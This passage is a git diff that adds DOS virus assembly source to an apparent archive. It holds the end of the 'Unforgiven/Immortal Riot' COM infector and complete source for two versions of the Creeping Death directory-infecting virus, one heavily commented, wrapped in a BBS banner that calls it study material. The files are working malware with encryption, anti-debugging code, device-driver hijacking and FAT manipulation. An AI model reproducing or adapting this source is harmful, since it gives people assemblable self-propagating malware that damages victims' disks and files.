big? + jae skip_infect ;yeh + cmp ax,(vir_size-100h) ;file is too small? + jb skip_infect ;yeh + + add ax,offset entry_point-106h ;calculate entry offset to jmp + mov word ptr ds:newjmp[1],ax ;move it to newjmp + +get_rnd: + mov ah,2ch ;get random number and put enc_val + int 21h + or dl,dl ;dl=0 - get another value! + je get_rnd + mov word ptr ds:enc_val,dx + mov ax,08d00h ;copy entire virus to 8d00h:100h + mov es,ax + mov di,100h + mov si,di + mov cx,(vir_size+1)/2 + rep movsw + push es + pop ds + xor bp,bp ;and encrypt it there + call encrypt + + mov ah,40h ;write virus to file from position + mov cx,end_of_virus-install ;08d00h:100h + mov dx,offset install + int 21h + + push cs ;cs=ds + pop ds + + mov ax,4200h ;go to beginning of file + xor cx,cx + cwd + int 21h + + mov ah,40h ;and write a new-jmp-construct + mov cx,4 ;of 4 bytes (4byte=infection marker) + mov dx,offset newjmp + int 21h + +skip_infect: + mov ax,5701h ;restore + pop dx ;date + pop cx ;time + cmp byte ptr cs:[exeflag],1 ;exe file? + je skip_sec ;if so - keep the sec_value intact + or cl,00011101b ;and give com-files second value + and cl,11111101b ;29 +skip_sec: + int 21h + cmp byte ptr cs:[Closeflag],1 ;check if execute or close infeection, + je dont_close ;if infect on close, dont close file + +close_file: + mov ah,3eh ;close the file which were executed + int 21h + pop cx ;get original file-attribs +dont_close: + pop dx ;ds:dx = filename + pop ds + cmp byte ptr cs:[Closeflag],1 + je exit_close + mov ax,4301h ;set back saved attribute + int 21h + +exit_close: + mov byte ptr cs:closeflag,0 + call resetcritical + pop di + pop si + pop cx + pop bx + pop ax + pop bp + pop es + +do_oldint21h: +O21h: + db 0eah ;jmp far ptr + org21ofs dw ? ;s:o to + org21seg dw ? ;int21h + + ret ;call to DOS. . . return! + +vir db "SVW: The Unforgiven/Immortal Riot",0 +fcl db "Fuck Corporate Life!",0 ;I agree you SB! + +closeflag db 0 ;0 if exec 1 if close +exeflag db 0 +activate_flag db 0 +bgcol db 0 +newjmp db 0e9h,00h,00h,'' ;buffer to calculate a new entry + +;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +; Cheesy primitive disinfecting-on-the-fly routine +;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +open_disinfect: ;ds:dx=filename... + push ax + push bx + push cx + push dx + push di + push si + push ds + push es ;save all regs/segs... + + push ds + pop es ;ds=es + + mov cx,64 ;scan for the dot which + mov di,dx ;seperates filename from + mov al,'.' ;extension + cld ;clear direction + repne scasb ; + + cmp word ptr ds:[di],'OC' ;CO? + je smallc ;yeh! + cmp word ptr ds:[di],'oc' ;co? + jne nocom ;naw! + +smallc: + cmp byte ptr ds:[di+2],'M' ;COM? + je open_com ;yeh! + cmp byte ptr ds:[di+2],'m' ;com? + je open_com ;yeh! + +nocom: + jmp no_opendis ;no com-file being opened! + +open_com: + mov ax,3d02h ;open file with r/w access + pushf + push cs + call o21h + + xchg bx,ax ;put filehandle in BX + + push cs ;cs=ds=es + pop ds + push ds + pop es + + mov ax,5700h ;get file info + int 21h + push cx ;save time + push dx ;and date + + and cl,1fh ;see if seconds = 29 + xor cl,1dh + jne close_dis ;is not! + + mov ah,3fh ;read first four bytes + mov cx,4 ;to orgjmp + mov dx,offset ds:orgjmp + int 21h + + cmp byte ptr ds:orgjmp,0e9h ;first byte = jmp? + jne close_dis ;no! + + cmp byte ptr ds:orgjmp+3,'' ;infected? + jne close_dis ;naw! + + mov ax,4202h ;seek end of file + cwd + xor cx,cx + int 21h + + mov dx,ax ;dx=ax=file size + sub ax,(vend-install+3) ;substract orgjmp + + push dx ;save file size on stack + xor ax,ax ;zero AX + + sub dx,(vend-orgjmp) ;seek orgjmp location + xor cx,cx ;in the infected file + mov ah,42h + int 21h + + mov ah,3fh ;read the original jump + mov cx,4 ;to orgjmp in memory + mov dx,offset ds:orgjmp + int 21h + + xor ax,ax ;zero AX + + cwd ;seek beginning of file + xor cx,cx + mov ah,42h + int 21h + + mov ah,40h ;write the original saved jmp + mov dx,offset orgjmp ;to top of file + mov cx,4 + int 21h + + pop dx ;restore infected file size + + sub dx,(vend-install) ;seek file-size - vir_size + xor ax,ax + xor cx,cx + mov ah,42h + int 21h + + mov ah,40h + xor cx,cx ;write clean file + int 21h + +close_dis: + mov ax,5701h ;restore saved + pop dx ;date + pop cx ;and time + int 21h + + mov ah,3eh ;close the file + pushf + push cs + call o21h + +no_opendis: + pop es + pop ds + pop si + pop di + pop dx + pop cx + pop bx + pop ax ;restore all segments/registers + +bail_out: + jmp o21h ;and bail out! + + +; The Set/Restore critical error handler is written by Stormbringer +; of Phalcon/Skism. I borrowed it because I find it excellent +; coded. I call the routines a lot of times, so. . . credits to him. + +SetCritical: + push ax ds + mov ax,9 + mov ds,ax + push word ptr ds:[0] + push word ptr ds:[2] + pop word ptr cs:[OldCritical+2] + pop word ptr cs:[OldCritical] + mov word ptr ds:[0],offset CriticalError + push cs + pop word ptr ds:[02] + pop ds ax + ret + +ResetCritical: + push ax ds + push word ptr cs:[OldCritical] + mov ax,9 + push word ptr cs:[OldCritical+2] + mov ds,ax + pop word ptr ds:[2] + pop word ptr ds:[0] + pop ds ax + ret + +CriticalError: + mov al,0 + iret + +OldCritical dd 0 + +; --------------------------------------------------------- +; All code below this point is unencrypted - only adresses +; caluculated from the base pointer will vary. Instructions +; are the same. +; --------------------------------------------------------- +decrypt: +encrypt: + mov ax,word ptr ds:[bp+enc_val] ;enc value in ax + lea di,[bp+install] ;pointer to encryption start + mov cx,(encrypt-install)/2 ;number of words to be encrypted +xor_loopy: + xor word ptr ds:[di],ax + inc di + inc di + loop xor_loopy + ret +enc_val dw 0 + +entry_point: + mov sp,102h ;Alternative coding + call get_bp ;to get the delta offset + ;Raver(tm) +get_bp: + mov bp,word ptr ds:[100h] + mov sp,0fffeh + sub bp,offset get_bp + + mov si, offset ditch ;This routine will make + add si,bp ;single-stepping programs +; db 0ebh,0 ;stop. + mov byte ptr ds:[si],0c3h + ditch: + mov byte ptr ds:[si],0c6h + + call decrypt ;decrypt virus + jmp install ;jmp to install code + +orgjmp db 0cdh,20h,00,00 ;buffer to save the 4 first bytes in, + ;remains unecrypted due to disinfection. +end_of_virus: +vend: + + end start_of_virus + diff --git a/c/CDSET.ASM b/c/CDSET.ASM new file mode 100755 index 0000000..7296587 --- /dev/null +++ b/c/CDSET.ASM @@ -0,0 +1,487 @@ +; Creeping Death V 1.0 +; +; (C) Copyright 1991 by VirusSoft Corp. + +i13org = 5f8h +i21org = 5fch + + org 100h + + mov sp,600h + inc counter + xor cx,cx + mov ds,cx + lds ax,[0c1h] + add ax,21h + push ds + push ax + mov ah,30h + call jump + cmp al,4 + sbb si,si + mov drive+2,byte ptr -1 + mov bx,60h + mov ah,4ah + call jump + + mov ah,52h + call jump + push es:[bx-2] + lds bx,es:[bx] + +search: mov ax,[bx+si+15h] + cmp ax,70h + jne next + xchg ax,cx + mov [bx+si+18h],byte ptr -1 + mov di,[bx+si+13h] + mov [bx+si+13h],offset header + mov [bx+si+15h],cs +next: lds bx,[bx+si+19h] + cmp bx,-1 + jne search + jcxz install + + pop ds + mov ax,ds + add ax,[3] + inc ax + mov dx,cs + dec dx + cmp ax,dx + jne no_boot + add [3],61h +no_boot: mov ds,dx + mov [1],8 + + mov ds,cx + les ax,[di+6] + mov cs:str_block,ax + mov cs:int_block,es + + cld + mov si,1 +scan: dec si + lodsw + cmp ax,1effh + jne scan + mov ax,2cah + cmp [si+4],ax + je right + cmp [si+5],ax + jne scan +right: lodsw + push cs + pop es + mov di,offset modify+1 + stosw + xchg ax,si + mov di,offset i13org + cli + movsw + movsw + + mov dx,0c000h +fdsk1: mov ds,dx + xor si,si + lodsw + cmp ax,0aa55h + jne fdsk4 + cbw + lodsb + mov cl,9 + sal ax,cl +fdsk2: cmp [si],6c7h + jne fdsk3 + cmp [si+2],4ch + jne fdsk3 + push dx + push [si+4] + jmp short death +install: int 20h +file: db "c:",255,0 +fdsk3: inc si + cmp si,ax + jb fdsk2 +fdsk4: inc dx + cmp dh,0f0h + jb fdsk1 + + sub sp,4 +death: push cs + pop ds + mov bx,[2ch] + mov es,bx + mov ah,49h + call jump + xor ax,ax + test bx,bx + jz boot + mov di,1 +seek: dec di + scasw + jne seek + lea si,[di+2] + jmp short exec +boot: mov es,[16h] + mov bx,es:[16h] + dec bx + xor si,si +exec: push bx + mov bx,offset param + mov [bx+4],cs + mov [bx+8],cs + mov [bx+12],cs + pop ds + push cs + pop es + + mov di,offset f_name + push di + mov cx,40 + rep movsw + push cs + pop ds + + mov ah,3dh + mov dx,offset file + call jump + pop dx + + mov ax,4b00h + call jump + mov ah,4dh + call jump + mov ah,4ch + +jump: pushf + call dword ptr cs:[i21org] + ret + + +;--------Installation complete + +i13pr: mov ah,3 + jmp dword ptr cs:[i13org] + + +main: push ax ; driver + push cx ; strategy block + push dx + push ds + push si + push di + + push es + pop ds + mov al,[bx+2] + + cmp al,4 ; Input + je input + cmp al,8 + je output + cmp al,9 + je output + + call in + cmp al,2 ; Build BPB + jne ppp ; + lds si,[bx+12h] + mov di,offset bpb_buf + mov es:[bx+12h],di + mov es:[bx+14h],cs + push es + push cs + pop es + mov cx,16 + rep movsw + pop es + push cs + pop ds + mov al,[di+2-32] + cmp al,2 + adc al,0 + cbw + cmp [di+8-32],0 + je m32 + sub [di+8-32],ax + jmp short ppp +m32: sub [di+15h-32],ax + sbb [di+17h-32],0 + +ppp: pop di + pop si + pop ds + pop dx + pop cx + pop ax +rts: retf + +output: mov cx,0ff09h + call check + jz inf_sec + call in + jmp short inf_dsk + +inf_sec: jmp _inf_sec +read: jmp _read +read_: add sp,16 + jmp short ppp + +input: call check + jz read +inf_dsk: mov byte ptr [bx+2],4 + cld + lea si,[bx+0eh] + mov cx,8 +save: lodsw + push ax + loop save + mov [bx+14h],1 + call driver + jnz read_ + mov byte ptr [bx+2],2 + call in + lds si,[bx+12h] + mov ax,[si+6] + add ax,15 + mov cl,4 + shr ax,cl + mov di,[si+0bh] + add di,di + stc + adc di,ax + push di + cwd + mov ax,[si+8] + test ax,ax + jnz more + mov ax,[si+15h] + mov dx,[si+17h] +more: xor cx,cx + sub ax,di + sbb dx,cx + mov cl,[si+2] + div cx + cmp cl,2 + sbb ax,-1 + push ax + call convert + mov byte ptr es:[bx+2],4 + mov es:[bx+14h],ax + call driver +again: lds si,es:[bx+0eh] + add si,dx + sub dh,cl + adc dx,ax + mov cs:gad+1,dx + cmp cl,1 + je small + mov ax,[si] + and ax,di + cmp ax,0fff7h + je bad + cmp ax,0ff7h + je bad + cmp ax,0ff70h + jne ok +bad: pop ax + dec ax + push ax + call convert + jmp short again +small: not di + and [si],di + pop ax + push ax + inc ax + push ax + mov dx,0fh + test di,dx + jz here + inc dx + mul dx +here: or [si],ax + pop ax + call convert + mov si,es:[bx+0eh] + add si,dx + mov ax,[si] + and ax,di +ok: mov dx,di + dec dx + and dx,di + not di + and [si],di + or [si],dx + + cmp ax,dx + pop ax + pop di + mov cs:pointer+1,ax + je _read_ + mov dx,[si] + push ds + push si + call write + pop si + pop ds + jnz _read_ + call driver + cmp [si],dx + jne _read_ + dec ax + dec ax + mul cx + add ax,di + adc dx,0 + push es + pop ds + mov [bx+12h],2 + mov [bx+14h],ax + test dx,dx + jz less + mov [bx+14h],-1 + mov [bx+1ah],ax + mov [bx+1ch],dx +less: mov [bx+10h],cs + mov [bx+0eh],100h + call write + +_read_: std + lea di,[bx+1ch] + mov cx,8 +load: pop ax + stosw + loop load +_read: call in + + mov cx,9 +_inf_sec: + mov di,es:[bx+12h] + lds si,es:[bx+0eh] + sal di,cl + xor cl,cl + add di,si + xor dl,dl + push ds + push si + call find + jcxz no_inf + call write + and es:[bx+4],byte ptr 07fh +no_inf: pop si + pop ds + inc dx + call find + jmp ppp + +;--------Subroutines + +find: mov ax,[si+8] + cmp ax,"XE" + jne com + cmp [si+10],al + je found +com: cmp ax,"OC" + jne go_on + cmp byte ptr [si+10],"M" + jne go_on +found: test [si+1eh],0ffc0h ; >4MB + jnz go_on + test [si+1dh],03ff8h ; <2048B + jz go_on + test [si+0bh],byte ptr 1ch + jnz go_on + test dl,dl + jnz rest +pointer: mov ax,1234h + cmp ax,[si+1ah] + je go_on + xchg ax,[si+1ah] +gad: xor ax,1234h + mov [si+14h],ax + loop go_on +rest: xor ax,ax + xchg ax,[si+14h] + xor ax,cs:gad+1 + mov [si+1ah],ax +go_on: ;rol cs:gad+1,1 + db 2eh,0d1h,6 + dw offset gad+1 + add si,32 + cmp di,si + jne find + ret + +check: mov ah,[bx+1] +drive: cmp ah,-1 + mov cs:[drive+2],ah + jne changed + push [bx+0eh] + mov byte ptr [bx+2],1 + call in + cmp byte ptr [bx+0eh],1 + pop [bx+0eh] + mov [bx+2],al +changed: ret + +write: cmp byte ptr es:[bx+2],8 + jae in + mov byte ptr es:[bx+2],4 + mov si,70h + mov ds,si +modify: mov si,1234h + push [si] + push [si+2] + mov [si],offset i13pr + mov [si+2],cs + call in + pop [si+2] + pop [si] + ret + +driver: mov es:[bx+12h],1 +in: + db 09ah +str_block: + dw ?,70h + db 09ah +int_block: + dw ?,70h + test es:[bx+4],byte ptr 80h + ret + +convert: cmp ax,0ff0h + jae fat_16 + mov si,3 + xor cs:[si+gad-1],si + mul si + shr ax,1 + mov di,0fffh + jnc cont + mov di,0fff0h + jmp short cont +fat_16: mov si,2 + mul si + mov di,0ffffh +cont: mov si,512 + div si +header: inc ax + ret + +counter: dw 0 + + dw 842h + dw offset main + dw offset rts + db 7fh + +param: dw 0,80h,?,5ch,?,6ch,? + +bpb_buf: db 32 dup(?) +f_name: db 80 dup(?) + +;--------The End. + +MsDos \ No newline at end of file diff --git a/c/CDSET4 (38).ASM b/c/CDSET4 (38).ASM new file mode 100755 index 0000000..2a2c55a --- /dev/null +++ b/c/CDSET4 (38).ASM @@ -0,0 +1,655 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +;*****************************************************************************; +; ; +; Creeping Death IV (Encrypting, try to find it) ; +; ; +; (c) Copyright 1992 by Bit Addict ; +; ; +;*****************************************************************************; + +code segment public 'code' + assume cs:code, ds:code, es:code + org 100h + +;*****************************************************************************; +; ; +; Actual start of virus. In this part the virus initializes the stack and ; +; adjusts the device driver used by dos to read and write from floppy's and ; +; hard disks. Then it will start the orginal exe or com-file ; +; ; +;*****************************************************************************; + +Encrypt: mov bx,offset Main-9 +Repeat: xor byte ptr [bx+8],bl + inc bx + jnz Repeat + +Main: mov sp,600h ; init stack + inc Counter + +;*****************************************************************************; +; ; +; Get dosversion, if the virus is running with dos 4+ then si will be 0 else ; +; si will be -1 ; +; ; +;*****************************************************************************; + +DosVersion: mov ah,30h ; fn 30h = Get Dosversion + int 21h ; int 21h + cmp al,4 ; major dosversion + sbb di,di + mov byte ptr ds:drive[2],-1 ; set 2nd operand of cmp ah,?? + +;*****************************************************************************; +; ; +; Adjust the size of the codesegment, with dos function 4ah ; +; ; +;*****************************************************************************; + + mov bx,60h ; Adjust size of memory block + mov ah,4ah ; to 60 paragraphs = 600h bytes + int 21h ; int 21h + + mov ah,52h ; get internal list of lists + int 21h ; int 21h + +;*****************************************************************************; +; ; +; If the virus code segment is located behind the dos config memory block the ; +; code segment will be part of the config memory block making it 61h ; +; paragraphs larger. If the virus is not located next to the config memory ; +; block the virus will set the owner to 8h (Dos system) ; +; ; +;*****************************************************************************; + + mov ax,es:[bx-2] ; segment of first MCB + mov dx,cs ; dx = MCB of the code segment + dec dx +NextMCB: mov ds,ax ; ax = segment next MCB + add ax,ds:[3] + inc ax + cmp ax,dx ; are they equal ? + jne NextMCB ; no, not 1st program executed + cmp word ptr ds:[1],8 + jne NoBoot + add word ptr ds:[3],61h ; add 61h to size of block +NoBoot: mov ds,dx ; ds = segment of MCB + mov word ptr ds:[1],8 ; owner = dos system + +;*****************************************************************************; +; ; +; The virus will search for the disk paramenter block for drive a: - c: in ; +; order to find the device driver for these block devices. If any of these ; +; blocks is found the virus will install its own device driver and set the ; +; access flag to -1 to tell dos this device hasn't been accesed yet. ; +; ; +;*****************************************************************************; + + cld ; clear direction flag + lds bx,es:[bx] ; get pointer to first drive + ; paramenter block + +Search: cmp bx,-1 ; last block ? + je Last + mov ax,ds:[bx+di+15h] ; get segment of device header + cmp ax,70h ; dos device header ?? + jne Next ; no, go to next device + xchg ax,cx + mov byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive + ; has not been accessed" + mov si,offset Header-4 ; set address of new device + xchg si,ds:[bx+di+13h] ; and save old address + mov ds:[bx+di+15h],cs +Next: lds bx,ds:[bx+di+19h] ; next drive parameter block + jmp Search + +;*****************************************************************************; +; ; +; If the virus has failed in starting the orginal exe-file it will jump here. ; +; ; +;*****************************************************************************; + +Install: int 20h + +;*****************************************************************************; +; ; +; An file is opend with this name, but the file will not be found. ; +; ; +;*****************************************************************************; + +File: db "C:",255,0 + +;*****************************************************************************; +; ; +; If none of these devices is found it means the virus is already resident ; +; and the virus wasn't able to start the orginal exe-file (the file is ; +; corrupted by copying it without the virus memory resident). If the device ; +; is found the information in the header is copied. ; +; ; +;*****************************************************************************; + +Last: jcxz install + +;*****************************************************************************; +; ; +; The information about the dos device driver is copyed to the virus code ; +; segment ; +; ; +;*****************************************************************************; + + mov ds,cx ; ds = segment of Device Driver + add si,4 + push cs + pop es + mov di,offset Header + movsw + lodsw + mov es:StrBlock,ax + mov ax,offset Strategy + stosw + lodsw + mov es:IntBlock,ax + mov ax,offset Interrupt + stosw + movsb + +;*****************************************************************************; +; ; +; Deallocate the environment memory block and start the this file again, but ; +; if the virus succeeds it will start the orginal exe-file. ; +; ; +;*****************************************************************************; + + push cs + pop ds + mov bx,ds:[2ch] ; environment segment + or bx,bx ; =0 ? + jz Boot + mov es,bx + mov ah,49h ; deallocate memory + int 21h + xor ax,ax + mov di,1 +Seek: dec di ; scan for end of environment + scasw + jne Seek + lea si,ds:[di+2] ; es:si = start of filename + jmp short Exec + +Boot: mov ds,ds:[16h] ; es = parent PSP + mov bx,ds:[16h] ; bx = parent PSP of Parent PSP + xor si,si + sub bx,1 + jnb Exec + mov ax,cs + dec ax + mov ds,ax + mov cx,8 + mov si,8 + mov di,0ffh +Count: lodsb + or al,al + loopne Count + not cx + and cx,7 +NextByte: mov si,8 + inc di + push di + push cx + rep cmpsb + pop cx + pop di + jne NextByte +BeginName: dec di + cmp byte ptr es:[di-1],0 + jne BeginName + mov si,di + mov bx,es +Exec: push bx + push cs + pop ds + mov bx,offset Param + mov ds:[bx+4],cs ; set segments in EPB + mov ds:[bx+8],cs + mov ds:[bx+12],cs + pop ds + push cs + pop es + + mov di,offset f_name ; copy name of this file + push di + mov cx,40 + rep movsw + push cs + pop ds + + mov ah,3dh ; open file, this file will + mov dx,offset File ; not be found but the entire + int 21h ; directory is searched and + pop dx ; infected + + mov ax,4b00h ; execute file + int 21h + mov ah,4dh ; get exit-code + int 21h + mov ah,4ch ; terminate (al = exit code) + int 21h + +;*****************************************************************************; +; ; +; Installation complete ; +; ; +;*****************************************************************************; +; ; +; The next part contains the device driver used by creeping death to infect ; +; directory's ; +; ; +; The device driver uses only the strategy routine to handle the requests. ; +; I don't know if this is because the virus will work better or the writer ; +; of this virus didn't know how to do it right. ; +; ; +;*****************************************************************************; + + +Strategy: mov cs:RequestOffset,bx + mov cs:RequestSegment,es + retf + +Interrupt: push ax ; driver strategy block + push bx + push cx ; save registers + push dx + push si + push di + push ds + push es + + les bx,cs:Request + push es + pop ds + mov al,ds:[bx+2] ; Command Code + + cmp al,4 ; Input + je Input + cmp al,8 ; Output + je Output + cmp al,9 + je Output + + call DoRequest + + cmp al,2 ; Build BPB + jne Return + lds si,ds:[bx+12h] ; copy the BPB and change it + mov di,offset bpb_buf ; into one that hides the virus + mov es:[bx+12h],di + mov es:[bx+14h],cs + push es ; copy + push cs + pop es + mov cx,16 + rep movsw + pop es + push cs + pop ds + mov al,ds:[di+2-32] ; change + cmp al,2 + adc al,0 + cbw + cmp word ptr ds:[di+8-32],0 ; >32mb partition ? + je m32 ; yes, jump to m32 + sub ds:[di+8-32],ax ; <32mb partition + jmp short Return +m32: sub ds:[di+15h-32],ax ; >32mb partition + sbb word ptr ds:[di+17h-32],0 +Return: pop es ; return to caller + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + retf + +Output: mov cx,0ff09h ; check if disk changed + call check + jz InfectSector ; no, just infect sector + call DoRequest ; yes, write virus to disk + jmp short inf_dsk + +InfectSector: jmp _InfectSector ; infect sector +Read: jmp _Read ; read sector +ReadError: add sp,16 ; error during request + jmp short Return + +Input: call check ; check if disk changed + jz Read ; no, read sector +inf_dsk: mov byte ptr ds:[bx+2],4 ; yes, write virus to disk + cld ; save last part of request + lea si,ds:[bx+0eh] + mov cx,8 +save: lodsw + push ax + loop save + mov word ptr ds:[bx+14h],1 ; read 1st sector on disk + call ReadSector + jnz ReadError + mov byte ptr ds:[bx+2],2 ; build BPB + call DoRequest + lds si,ds:[bx+12h] ; ds:si = BPB + mov di,ds:[si+6] ; size of root directory + add di,15 ; in sectors + mov cl,4 + shr di,cl + mov al,ds:[si+5] + cbw + mov dx,ds:[si+0bh] + mul dx ; ax=fat sectors, dx=0 + add ax,ds:[si+3] + add di,ax + push di ; save it on stack + mov ax,ds:[si+8] ; total number of sectors + cmp ax,dx ; >32mb + jnz more ; no, skip next 2 instructions + mov ax,ds:[si+15h] ; get number of sectors + mov dx,ds:[si+17h] +more: xor cx,cx ; cx=0 + sub ax,di ; dx:ax=number is data sectors + sbb dx,cx + mov cl,ds:[si+2] ; cx=sectors / cluster + div cx ; number of clusters on disk + cmp cl,2 ; 1 sector/cluster ? + sbb ax,-1 ; number of clusters (+1 or +2) + push ax ; save it on stack + call Convert ; get fat sector and offset in + mov byte ptr es:[bx+2],4 ; sector + mov es:[bx+14h],ax + call ReadSector ; read fat sector +again: lds si,es:[bx+0eh] + add si,dx + sub dh,cl ; has something to do with the + adc dx,ax ; encryption of the pointers + mov word ptr cs:[gad+1],dx + cmp cl,1 ; 1 sector / cluster + jne Ok +SmallModel: not di ; this is used when the + and ds:[si],di ; clusters are 1 sector long + pop ax + push ax + inc ax + push ax + mov dx,0fh + test di,dx + jz here + inc dx + mul dx +here: or ds:[si],ax + pop ax + call Convert + mov si,es:[bx+0eh] + add si,dx +Ok: mov ax,ds:[si] + and ax,di + mov dx,di ; allocate cluster + dec dx + and dx,di + not di + and ds:[si],di + or ds:[si],dx + cmp ax,dx ; cluster already allocated by + pop ax ; the virus ? + pop di + mov word ptr cs:[pointer+1],ax + je _Read_ ; yes, don't write it and go on + mov dx,ds:[si] + push ds + push si + mov byte ptr es:[bx+2],8 ; write + call DoRequest ; write the adjusted sector to + pop si ; disk + pop ds + jnz _Read_ + call ReadSector ; read it again + cmp ds:[si],dx ; is it written correctly ? + jne _Read_ ; no, can't infect disk + dec ax + dec ax ; calculate the sector number + mul cx ; to write the virus to + add ax,di + adc dx,0 + push es + pop ds + mov word ptr ds:[bx+12h],2 + mov ds:[bx+14h],ax ; store it in the request hdr + test dx,dx + jz less + mov word ptr ds:[bx+14h],-1 + mov ds:[bx+1ah],ax + mov ds:[bx+1ch],dx +less: mov ds:[bx+10h],cs + mov ds:[bx+0eh],100h + mov byte ptr es:[bx+2],8 ; write it + call EncryptWrite1 + +_Read_: mov byte ptr ds:[bx+2],4 ; restore this byte + std ; restore other part of the + lea di,ds:[bx+1ch] ; request + mov cx,8 +load: pop ax + stosw + loop load +_Read: call DoRequest ; do request + + mov cx,9 +_InfectSector: mov di,es:[bx+12h] ; get number of sectors read + lds si,es:[bx+0eh] ; get address of data + sal di,cl ; calculate end of buffer + xor cl,cl + add di,si + xor dl,dl + push ds ; infect the sector + push si + call find + jcxz no_inf ; write sector ? + mov al,8 + xchg al,es:[bx+2] ; save command byte + call DoRequest ; write sector + mov es:[bx+2],al ; restore command byte + and byte ptr es:[bx+4],07fh +no_inf: pop si + pop ds + inc dx ; disinfect sector in memory + call find + jmp Return ; return to caller + +;*****************************************************************************; +; ; +; Subroutines ; +; ; +;*****************************************************************************; + +find: mov ax,ds:[si+8] ; (dis)infect sector in memory + cmp ax,"XE" ; check for .exe + jne com + cmp ds:[si+10],al + je found +com: cmp ax,"OC" ; check for .com + jne go_on + cmp byte ptr ds:[si+10],"M" + jne go_on +found: test word ptr ds:[si+1eh],0ffc0h ; file to big + jnz go_on ; more than 4mb + test word ptr ds:[si+1dh],03ff8h ; file to small + jz go_on ; less than 2048 bytes + test byte ptr ds:[si+0bh],1ch ; directory, system or + jnz go_on ; volume label + test dl,dl ; infect or disinfect ? + jnz rest +pointer: mov ax,1234h ; ax = viral cluster + cmp ax,ds:[si+1ah] ; file already infected ? + je go_on ; yes, go on + xchg ax,ds:[si+1ah] ; exchange pointers +gad: xor ax,1234h ; encryption + mov ds:[si+14h],ax ; store it on another place + loop go_on ; change cx and go on +rest: xor ax,ax ; ax = 0 + xchg ax,ds:[si+14h] ; get pointer + xor ax,word ptr cs:[gad+1] ; Encrypt + mov ds:[si+1ah],ax ; store it on the right place +go_on: rol word ptr cs:[gad+1],1 ; change encryption + add si,32 ; next directory entry + cmp di,si ; end of buffer ? + jne find ; no, do it again + ret ; return + +check: mov ah,ds:[bx+1] ; get number of unit +drive: cmp ah,-1 ; same as last call ? + mov byte ptr cs:[drive+2],ah ; set 2nd parameter + jne changed + push ds:[bx+0eh] ; save word + mov byte ptr ds:[bx+2],1 ; disk changed ? + call DoRequest + cmp byte ptr ds:[bx+0eh],1 ; 1=Yes + pop ds:[bx+0eh] ; restore word + mov ds:[bx+2],al ; restore command +changed: ret ; return + +ReadSector: mov word ptr es:[bx+12h],1 ; read sector from disk + +DoRequest: db 09ah ; call 70:?, orginal strategy +StrBlock dw ?,70h + db 09ah ; call 70:?, orginal interrupt +IntBlock dw ?,70h + test byte ptr es:[bx+4],80h ; error ? yes, zf = 0 + ret ; return + +Convert: cmp ax,0ff0h ; convert cluster number into + jae fat_16 ; an sector number and offset + mov si,3 ; into this sector containing + xor word ptr cs:[si+gad-1],si ; the fat-item of this + mul si ; cluster + shr ax,1 + mov di,0fffh + jnc cont + mov di,0fff0h + jmp short cont +fat_16: mov si,2 + mul si + mov di,0ffffh +cont: mov si,512 + div si + inc ax + ret + +EncryptWrite1: push ds + push cs + pop ds + push es + push cs + pop es + cld + mov cx,9 + mov si,offset Encrypt + mov di,offset EncryptWrite2 + mov al,ds:[si+5] + add al,11 + mov ds:[si+5],al + cbw + mov dx,offset Main-1 + sub dx,ax + mov ds:[si+1],dx + rep movsb + mov cl,10 + mov si,offset DoRequest + rep movsb + mov cl,9 + mov si,offset Encrypt + rep movsb + mov ax,0c31fh + stosw + pop es + jmp EncryptWrite2 + +Counter dw 0 ; this will count the number of + ; systems that are infected by + ; this virus + +Param: dw 0,80h,?,5ch,?,6ch,? ; parameters for the + ; exec-function + +Header db 7 dup(?) ; this is the header for the + ; device driver + +Request equ this dword ; address of the request header +RequestOffset dw ? +RequestSegment dw ? + +bpb_buf: db 32 dup(?) ; buffer for BPB +EncryptWrite2: db 30 dup(?) +f_name: db 80 dup(?) ; Buffer for the filename used + ; by the exec-function + + + +;*****************************************************************************; +; ; +; The End ; +; ; +;*****************************************************************************; + +code ends + +end Encrypt + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/c/CDSET5 (39).ASM b/c/CDSET5 (39).ASM new file mode 100755 index 0000000..57aa91b --- /dev/null +++ b/c/CDSET5 (39).ASM @@ -0,0 +1,661 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] CoSysOp: Northstar Ken [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R 